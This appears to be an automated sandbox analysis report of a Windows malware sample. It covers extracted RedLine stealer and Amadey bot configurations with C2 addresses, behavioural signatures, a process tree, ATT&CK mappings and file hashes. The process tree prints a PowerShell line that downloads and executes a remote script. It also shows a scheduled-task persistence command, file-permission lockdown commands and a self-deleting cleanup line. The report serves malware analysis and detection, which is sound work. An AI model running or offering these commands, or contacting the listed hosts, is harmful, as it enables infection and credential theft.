Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-03-2023 19:06

General

  • Target

    a837a1e4bca1ee07e931426a68d24c87ab3693b61d8e8a02bb62d3a94d0c77fb.exe

  • Size

    961KB

  • MD5

    77a369856fc668865c1672748e4a6e26

  • SHA1

    9645dc642bf5c1268127e77f7d420b6c5ca3f553

  • SHA256

    a837a1e4bca1ee07e931426a68d24c87ab3693b61d8e8a02bb62d3a94d0c77fb

  • SHA512

    aaee9d1ce74f119bf00e7f7ae20bc656173ed30d0aa87250abcb97058a8c82567db16ee54223f8b29a301fc6659bdfb867dda05c6358a475f77be15486f648f6

  • SSDEEP

    24576:nyj/ryJ1vL6SFrSXi2mCu5nHp6qs5lTO8lHLv8+wt8W4k:yj/ryJ1jrrSXi2yJ6X9vHg+s

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://www.mdegmm.com/pdf/debug2.ps1

Extracted

Family

redline

Botnet

gena

C2

193.233.20.30:4125

Attributes
  • auth_value

    93c20961cb6b06b2d5781c212db6201e

Extracted

Family

redline

Botnet

vint

C2

193.233.20.30:4125

Attributes
  • auth_value

    fb8811912f8370b3d23bffda092d88d0

Extracted

Family

amadey

Version

3.68

C2

62.204.41.87/joomla/index.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 12 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 20 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 12 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 8 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a837a1e4bca1ee07e931426a68d24c87ab3693b61d8e8a02bb62d3a94d0c77fb.exe
    "C:\Users\Admin\AppData\Local\Temp\a837a1e4bca1ee07e931426a68d24c87ab3693b61d8e8a02bb62d3a94d0c77fb.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:5108
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap6298.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap6298.exe
      2⤵
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:2104
      • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap5885.exe
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap5885.exe
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:2012
        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap3650.exe
          C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap3650.exe
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of WriteProcessMemory
          PID:2824
          • C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz4650.exe
            C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz4650.exe
            5⤵
            • Modifies Windows Defender Real-time Protection settings
            • Executes dropped EXE
            • Windows security modification
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4540
          • C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v2288Xg.exe
            C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v2288Xg.exe
            5⤵
            • Modifies Windows Defender Real-time Protection settings
            • Executes dropped EXE
            • Windows security modification
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2088
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2088 -s 1080
              6⤵
              • Program crash
              PID:744
        • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w94pY93.exe
          C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w94pY93.exe
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:916
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 1328
            5⤵
            • Program crash
            PID:3852
      • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xTrlM46.exe
        C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xTrlM46.exe
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2652
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y53MA36.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y53MA36.exe
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:3464
      • C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
        "C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2240
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legenda.exe /TR "C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe" /F
          4⤵
          • Creates scheduled task(s)
          PID:3044
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "legenda.exe" /P "Admin:N"&&CACLS "legenda.exe" /P "Admin:R" /E&&echo Y|CACLS "..\f22b669919" /P "Admin:N"&&CACLS "..\f22b669919" /P "Admin:R" /E&&Exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3224
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
            5⤵
              PID:3412
            • C:\Windows\SysWOW64\cacls.exe
              CACLS "legenda.exe" /P "Admin:N"
              5⤵
                PID:1276
              • C:\Windows\SysWOW64\cacls.exe
                CACLS "legenda.exe" /P "Admin:R" /E
                5⤵
                  PID:5068
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  5⤵
                    PID:3168
                  • C:\Windows\SysWOW64\cacls.exe
                    CACLS "..\f22b669919" /P "Admin:N"
                    5⤵
                      PID:2184
                    • C:\Windows\SysWOW64\cacls.exe
                      CACLS "..\f22b669919" /P "Admin:R" /E
                      5⤵
                        PID:3612
                    • C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe
                      "C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe"
                      4⤵
                      • Checks computer location settings
                      • Executes dropped EXE
                      • Suspicious use of WriteProcessMemory
                      PID:2348
                      • C:\Windows\system32\cmd.exe
                        "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')"
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2648
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          powershell -command IEX(New-Object Net.Webclient).DownloadString('https://www.mdegmm.com/pdf/debug2.ps1')
                          6⤵
                          • Blocklisted process makes network request
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3600
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe" >> NUL
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4348
                        • C:\Windows\SysWOW64\PING.EXE
                          ping 127.0.0.1
                          6⤵
                          • Runs ping.exe
                          PID:3060
                    • C:\Windows\SysWOW64\rundll32.exe
                      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
                      4⤵
                      • Loads dropped DLL
                      PID:3320
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 2088 -ip 2088
                1⤵
                  PID:4728
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 916 -ip 916
                  1⤵
                    PID:2916
                  • C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
                    C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
                    1⤵
                    • Executes dropped EXE
                    PID:3956
                  • C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
                    C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
                    1⤵
                    • Executes dropped EXE
                    PID:980
                  • C:\Windows\system32\sc.exe
                    C:\Windows\system32\sc.exe start wuauserv
                    1⤵
                    • Launches sc.exe
                    PID:4168

                  Network

                  MITRE ATT&CK Matrix ATT&CK v6

                  Execution

                  Scheduled Task

                  1
                  T1053

                  Persistence

                  Modify Existing Service

                  1
                  T1031

                  Registry Run Keys / Startup Folder

                  1
                  T1060

                  Scheduled Task

                  1
                  T1053

                  Privilege Escalation

                  Scheduled Task

                  1
                  T1053

                  Defense Evasion

                  Modify Registry

                  3
                  T1112

                  Disabling Security Tools

                  2
                  T1089

                  Credential Access

                  Credentials in Files

                  2
                  T1081

                  Discovery

                  Query Registry

                  2
                  T1012

                  System Information Discovery

                  2
                  T1082

                  Remote System Discovery

                  1
                  T1018

                  Collection

                  Data from Local System

                  2
                  T1005

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDA
                    Filesize

                    2KB

                    MD5

                    fc88b7748eb4cd37ae886a1c0813e4cf

                    SHA1

                    23e30b76fc94f0467a3efad342a91a3b84ff1eea

                    SHA256

                    3d81e317f8816680185517d7719e51fdbcd5807f9c629c4e3d0408820ec458da

                    SHA512

                    bb8ffaa2e8e581aa8d9a2e39b5f16c784d1431b4c18acc71b8fea84a4982d13a8ed1e5cf295c459ca35d8d4604c050210e0771386e7fe57d35c5ccd41fb92211

                  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_2DBE917624E9880FE0C7C5570D56E691
                    Filesize

                    1KB

                    MD5

                    cb684ec7fe8555f949182c7423dafdc2

                    SHA1

                    ec49f7b4b777fa1da40af5328785782127ffc52c

                    SHA256

                    8e17b090e2d07abf04860e961e601d8c663d3eaafd16190e6e6b6a4f018c0b0e

                    SHA512

                    ef627ca15ac143710b707ce28bd0cbe3447446db64c61f89d78f7c868cad07bd267563a7927ac4cd733adf2da3d58dcfadba54f8e0bc78e06d79cd389b77e500

                  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5080DC7A65DB6A5960ECD874088F3328_862BA1770B2FEE013603D2FF9ABEAFDA
                    Filesize

                    482B

                    MD5

                    e119bf48e6792fe696fd23934e89c7ec

                    SHA1

                    12319ec7c90b6a09b6f5d7fe36697d873e9401db

                    SHA256

                    a0c2dd092e5bd55267653ccbfb2dbab492fd71ddfec3d2f6d02a06a426b27400

                    SHA512

                    94a39b5ba8e5a15e4bc6cb3570b9e6af4acfdfd1a7e9f8b12d9bf11fa86f7110b54c04a1b6973f6ae6d3674db45eb8b8d8a8d7386721a745404aa36c6b484634

                  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_2DBE917624E9880FE0C7C5570D56E691
                    Filesize

                    486B

                    MD5

                    481d4af0473e1b52b123e1d980ed4e26

                    SHA1

                    586c67b50d1e4d4a186be11e97bf019466cd1b2b

                    SHA256

                    25812000f6247d948a4ca1ed859716e02fa8b269f222b26c8689bfa683ff7940

                    SHA512

                    64751b7767249525256ea03c9aa10bdcc7773da3df582f5ebabb5ef7768045950b06ba58845d3a6bc0551cbc385a0aa261d7abf08f1a01ec5d91f33df69432a8

                  • C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe
                    Filesize

                    144KB

                    MD5

                    b5baf2e6261a1fb05bb2654c8d099dd6

                    SHA1

                    2a5b25fcb9e9f584d0a162b734c7dcc53c6e0550

                    SHA256

                    4a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d

                    SHA512

                    4ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3

                  • C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe
                    Filesize

                    144KB

                    MD5

                    b5baf2e6261a1fb05bb2654c8d099dd6

                    SHA1

                    2a5b25fcb9e9f584d0a162b734c7dcc53c6e0550

                    SHA256

                    4a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d

                    SHA512

                    4ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3

                  • C:\Users\Admin\AppData\Local\Temp\1000087001\sqlcmd.exe
                    Filesize

                    144KB

                    MD5

                    b5baf2e6261a1fb05bb2654c8d099dd6

                    SHA1

                    2a5b25fcb9e9f584d0a162b734c7dcc53c6e0550

                    SHA256

                    4a98a49f3b4b3013d38069110fccb50850cb2a42088bf7b49054da5cc0ef7a0d

                    SHA512

                    4ac6847ff23850bbdb04f696c85444ff2d1aa38cf508d60e6c1638e877b4233bf343e43cbcf84dd50151c593c5a181679488c207f8ea80dc088518f99e50d7d3

                  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y53MA36.exe
                    Filesize

                    235KB

                    MD5

                    5086db99de54fca268169a1c6cf26122

                    SHA1

                    003f768ffcc99bda5cda1fb966fda8625a8fdc3e

                    SHA256

                    42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

                    SHA512

                    90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

                  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\y53MA36.exe
                    Filesize

                    235KB

                    MD5

                    5086db99de54fca268169a1c6cf26122

                    SHA1

                    003f768ffcc99bda5cda1fb966fda8625a8fdc3e

                    SHA256

                    42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

                    SHA512

                    90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

                  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap6298.exe
                    Filesize

                    777KB

                    MD5

                    b3c64a3b189c2234f3be20d6111e454b

                    SHA1

                    8a86596e18113fd85313d7490e4971ecf3f22a1a

                    SHA256

                    b66d6130d2c7304e8bf1ec8c75b43c40c29ae9f59e0b8701fa108068054c236a

                    SHA512

                    8be46868be6f710563df84fd9b237841650b81129a584a78f87285586eb9342c62dad2ff3e6699344781d4cb38c91b0207d4208f4c457d409acee7c38f9e81a2

                  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\zap6298.exe
                    Filesize

                    777KB

                    MD5

                    b3c64a3b189c2234f3be20d6111e454b

                    SHA1

                    8a86596e18113fd85313d7490e4971ecf3f22a1a

                    SHA256

                    b66d6130d2c7304e8bf1ec8c75b43c40c29ae9f59e0b8701fa108068054c236a

                    SHA512

                    8be46868be6f710563df84fd9b237841650b81129a584a78f87285586eb9342c62dad2ff3e6699344781d4cb38c91b0207d4208f4c457d409acee7c38f9e81a2

                  • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xTrlM46.exe
                    Filesize

                    175KB

                    MD5

                    3389637c0d072121bf1b127629736d37

                    SHA1

                    300e915efdf2479bfd0d3699c0a6bc51260f9655

                    SHA256

                    2b74c4ce2674a8fc0c78fffa39c5de5e43ae28b8bf425349a5f97c6a61135153

                    SHA512

                    a32cc060d2600f6ca94ffdce07c95ea5e2f56c0b418260456b568cb41e5f55db0c4fc97c35ca4103c674e61a17300d834d2c0da5a78b7084b6bc342fd23a7fb4

                  • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\xTrlM46.exe
                    Filesize

                    175KB

                    MD5

                    3389637c0d072121bf1b127629736d37

                    SHA1

                    300e915efdf2479bfd0d3699c0a6bc51260f9655

                    SHA256

                    2b74c4ce2674a8fc0c78fffa39c5de5e43ae28b8bf425349a5f97c6a61135153

                    SHA512

                    a32cc060d2600f6ca94ffdce07c95ea5e2f56c0b418260456b568cb41e5f55db0c4fc97c35ca4103c674e61a17300d834d2c0da5a78b7084b6bc342fd23a7fb4

                  • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap5885.exe
                    Filesize

                    635KB

                    MD5

                    d7fd7f6ab334857f265d54e612a1662e

                    SHA1

                    7655a4c3944c63c1444911f5e049dc53670461ca

                    SHA256

                    d2ed90d172bc08245f3f2516e55d7be1b1e97c8ac5149818a51d5b8692c5a014

                    SHA512

                    054cedecd0122dacc3ad3180fc3986f06ee088ca0133b33977c8d963d4cc3f57427c98406c145d78f88ecfa0f16bbe7c272835f4e01141443f658862f06abc63

                  • C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\zap5885.exe
                    Filesize

                    635KB

                    MD5

                    d7fd7f6ab334857f265d54e612a1662e

                    SHA1

                    7655a4c3944c63c1444911f5e049dc53670461ca

                    SHA256

                    d2ed90d172bc08245f3f2516e55d7be1b1e97c8ac5149818a51d5b8692c5a014

                    SHA512

                    054cedecd0122dacc3ad3180fc3986f06ee088ca0133b33977c8d963d4cc3f57427c98406c145d78f88ecfa0f16bbe7c272835f4e01141443f658862f06abc63

                  • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w94pY93.exe
                    Filesize

                    288KB

                    MD5

                    da6b99e2de95f34c2c76c24d6375d865

                    SHA1

                    077035722da45c16575bdada5654c350c67bceca

                    SHA256

                    26010401d1ed21a781c0f5f00337ac6b67cbae08e9435f5eef9d544c21c88123

                    SHA512

                    e44e5a71d847158b5d3b1b4d4eba063aca9cbb8caf254093f8be57faf44bc8377ecaa954fc6898885176cb7fc4dcc877f7e7a09a1c3271cb55ffd7c2475b1935

                  • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\w94pY93.exe
                    Filesize

                    288KB

                    MD5

                    da6b99e2de95f34c2c76c24d6375d865

                    SHA1

                    077035722da45c16575bdada5654c350c67bceca

                    SHA256

                    26010401d1ed21a781c0f5f00337ac6b67cbae08e9435f5eef9d544c21c88123

                    SHA512

                    e44e5a71d847158b5d3b1b4d4eba063aca9cbb8caf254093f8be57faf44bc8377ecaa954fc6898885176cb7fc4dcc877f7e7a09a1c3271cb55ffd7c2475b1935

                  • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap3650.exe
                    Filesize

                    314KB

                    MD5

                    9e32f35354b5caf9f38991bd2177ce3d

                    SHA1

                    73d4cb406c7112ab91c7425c57fc951aead19645

                    SHA256

                    c3f91ef75cf57cc21509a9c2be6d0514a810bfe710eb94a0f4d86a80fac6d722

                    SHA512

                    70d8f4b425ec5a7b8cf9c82578e87d8c7de9b7ca0a3a9b3d7efe6eb396ca152f690bbf0fa59d62661331667d7ef763ee87ba18ee24a4935c3f9c0af7474ebac1

                  • C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\zap3650.exe
                    Filesize

                    314KB

                    MD5

                    9e32f35354b5caf9f38991bd2177ce3d

                    SHA1

                    73d4cb406c7112ab91c7425c57fc951aead19645

                    SHA256

                    c3f91ef75cf57cc21509a9c2be6d0514a810bfe710eb94a0f4d86a80fac6d722

                    SHA512

                    70d8f4b425ec5a7b8cf9c82578e87d8c7de9b7ca0a3a9b3d7efe6eb396ca152f690bbf0fa59d62661331667d7ef763ee87ba18ee24a4935c3f9c0af7474ebac1

                  • C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz4650.exe
                    Filesize

                    11KB

                    MD5

                    7e93bacbbc33e6652e147e7fe07572a0

                    SHA1

                    421a7167da01c8da4dc4d5234ca3dd84e319e762

                    SHA256

                    850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38

                    SHA512

                    250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91

                  • C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\tz4650.exe
                    Filesize

                    11KB

                    MD5

                    7e93bacbbc33e6652e147e7fe07572a0

                    SHA1

                    421a7167da01c8da4dc4d5234ca3dd84e319e762

                    SHA256

                    850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38

                    SHA512

                    250169d7b6fcebff400be89edae8340f14130ced70c340ba9da9f225f62b52b35f6645bfb510962efb866f988688cb42392561d3e6b72194bc89d310ea43aa91

                  • C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v2288Xg.exe
                    Filesize

                    230KB

                    MD5

                    e01507e396a023fa2e30af609353caa2

                    SHA1

                    a632ee7119fc84712fbb912c4bc428fb8c916188

                    SHA256

                    6f6696981e5ed41b4ee42e0c998d3ae86f5dfb3e12c3c63dbe7bd92a3456aa44

                    SHA512

                    620fe366ee13e0a068802f1f98594ecbb8e3501ba0f0359bd2c837198d5b5d4f3b56d90f43baece1185fb6e859c6cc2a1478fc223d9f69841dd31c08b6b3ddd6

                  • C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\v2288Xg.exe
                    Filesize

                    230KB

                    MD5

                    e01507e396a023fa2e30af609353caa2

                    SHA1

                    a632ee7119fc84712fbb912c4bc428fb8c916188

                    SHA256

                    6f6696981e5ed41b4ee42e0c998d3ae86f5dfb3e12c3c63dbe7bd92a3456aa44

                    SHA512

                    620fe366ee13e0a068802f1f98594ecbb8e3501ba0f0359bd2c837198d5b5d4f3b56d90f43baece1185fb6e859c6cc2a1478fc223d9f69841dd31c08b6b3ddd6

                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uhc315q2.r5j.ps1
                    Filesize

                    60B

                    MD5

                    d17fe0a3f47be24a6453e9ef58c94641

                    SHA1

                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                    SHA256

                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                    SHA512

                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                  • C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
                    Filesize

                    235KB

                    MD5

                    5086db99de54fca268169a1c6cf26122

                    SHA1

                    003f768ffcc99bda5cda1fb966fda8625a8fdc3e

                    SHA256

                    42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

                    SHA512

                    90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

                  • C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
                    Filesize

                    235KB

                    MD5

                    5086db99de54fca268169a1c6cf26122

                    SHA1

                    003f768ffcc99bda5cda1fb966fda8625a8fdc3e

                    SHA256

                    42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

                    SHA512

                    90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

                  • C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
                    Filesize

                    235KB

                    MD5

                    5086db99de54fca268169a1c6cf26122

                    SHA1

                    003f768ffcc99bda5cda1fb966fda8625a8fdc3e

                    SHA256

                    42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

                    SHA512

                    90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

                  • C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
                    Filesize

                    235KB

                    MD5

                    5086db99de54fca268169a1c6cf26122

                    SHA1

                    003f768ffcc99bda5cda1fb966fda8625a8fdc3e

                    SHA256

                    42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

                    SHA512

                    90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

                  • C:\Users\Admin\AppData\Local\Temp\f22b669919\legenda.exe
                    Filesize

                    235KB

                    MD5

                    5086db99de54fca268169a1c6cf26122

                    SHA1

                    003f768ffcc99bda5cda1fb966fda8625a8fdc3e

                    SHA256

                    42873b0c5899f64b5f3205a4f3146210cc63152e529c69d6292b037844c81ec4

                    SHA512

                    90531b1b984b21ce62290b713ffc07917bbd766eef7d5e6f4c1c68b2fc7d29495cdd5f05fd71fe5107f1614bbb30922dcfb730f50599e44aeaff52c50f46b8b5

                  • C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll
                    Filesize

                    89KB

                    MD5

                    16cf28ebb6d37dbaba93f18320c6086e

                    SHA1

                    eae7d4b7a9636329065877aabe8d4f721a26ab25

                    SHA256

                    c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106

                    SHA512

                    f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2

                  • C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll
                    Filesize

                    89KB

                    MD5

                    16cf28ebb6d37dbaba93f18320c6086e

                    SHA1

                    eae7d4b7a9636329065877aabe8d4f721a26ab25

                    SHA256

                    c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106

                    SHA512

                    f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2

                  • C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll
                    Filesize

                    89KB

                    MD5

                    16cf28ebb6d37dbaba93f18320c6086e

                    SHA1

                    eae7d4b7a9636329065877aabe8d4f721a26ab25

                    SHA256

                    c0603ed73299e59dc890ae194c552acd9d8a2aef2e1a9e76346ca672e3b14106

                    SHA512

                    f8eee1d4142483de223ddbefec43023fd167e41e358bf8994140e2dcc1712f49228dc92e4e237d1df4ffa6c948097a8309c84d60788a03babed668532c438fc2

                  • C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll
                    Filesize

                    223B

                    MD5

                    94cbeec5d4343918fd0e48760e40539c

                    SHA1

                    a049266c5c1131f692f306c8710d7e72586ae79d

                    SHA256

                    48eb3ca078da2f5e9fd581197ae1b4dfbac6d86040addbb305e305c014741279

                    SHA512

                    4e92450333d60b1977f75c240157a8589cfb1c80a979fbe0793cc641e13556004e554bc6f9f4853487dbcfcdc2ca93afe610649e9712e91415ed3f2a60d4fec0

                  • memory/916-1133-0x00000000066B0000-0x0000000006872000-memory.dmp
                    Filesize

                    1.8MB

                  • memory/916-237-0x0000000005040000-0x000000000507E000-memory.dmp
                    Filesize

                    248KB

                  • memory/916-1132-0x0000000004900000-0x0000000004910000-memory.dmp
                    Filesize

                    64KB

                  • memory/916-1134-0x00000000068C0000-0x0000000006DEC000-memory.dmp
                    Filesize

                    5.2MB

                  • memory/916-1135-0x0000000004900000-0x0000000004910000-memory.dmp
                    Filesize

                    64KB

                  • memory/916-211-0x0000000005040000-0x000000000507E000-memory.dmp
                    Filesize

                    248KB

                  • memory/916-213-0x0000000005040000-0x000000000507E000-memory.dmp
                    Filesize

                    248KB

                  • memory/916-210-0x0000000005040000-0x000000000507E000-memory.dmp
                    Filesize

                    248KB

                  • memory/916-215-0x0000000005040000-0x000000000507E000-memory.dmp
                    Filesize

                    248KB

                  • memory/916-217-0x0000000005040000-0x000000000507E000-memory.dmp
                    Filesize

                    248KB

                  • memory/916-219-0x0000000005040000-0x000000000507E000-memory.dmp
                    Filesize

                    248KB

                  • memory/916-221-0x0000000005040000-0x000000000507E000-memory.dmp
                    Filesize

                    248KB

                  • memory/916-223-0x0000000005040000-0x000000000507E000-memory.dmp
                    Filesize

                    248KB

